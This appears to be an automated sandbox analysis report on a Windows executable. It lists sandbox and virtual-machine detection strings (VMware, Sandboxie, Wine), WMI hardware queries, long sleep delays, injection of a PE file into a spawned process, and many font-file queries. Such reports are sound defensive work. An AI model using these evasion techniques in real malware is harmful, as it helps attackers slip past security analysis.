                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.2cd4898.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.2cf7984.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.2d587f0.8.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.294910636.0000000002D57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 3044, type: MEMORYSTR
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: rzN2ckYW24.exe, 00000000.00000002.294910636.0000000002D57000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                Source: rzN2ckYW24.exe, 00000000.00000002.294910636.0000000002D57000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
                Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                Source: C:\Users\user\Desktop\rzN2ckYW24.exe TID: 2336Thread sleep time: -42186s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exe TID: 5096Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exe TID: 5852Thread sleep count: 32 > 30Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exe TID: 5852Thread sleep time: -29514790517935264s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exe TID: 5092Thread sleep count: 9836 > 30Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWindow / User API: threadDelayed 9836Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeThread delayed: delay time: 42186Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
                Source: rzN2ckYW24.exe, 00000002.00000003.326404699.0000000000C17000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeMemory written: C:\Users\user\Desktop\rzN2ckYW24.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exeJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exeJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Users\user\Desktop\rzN2ckYW24.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
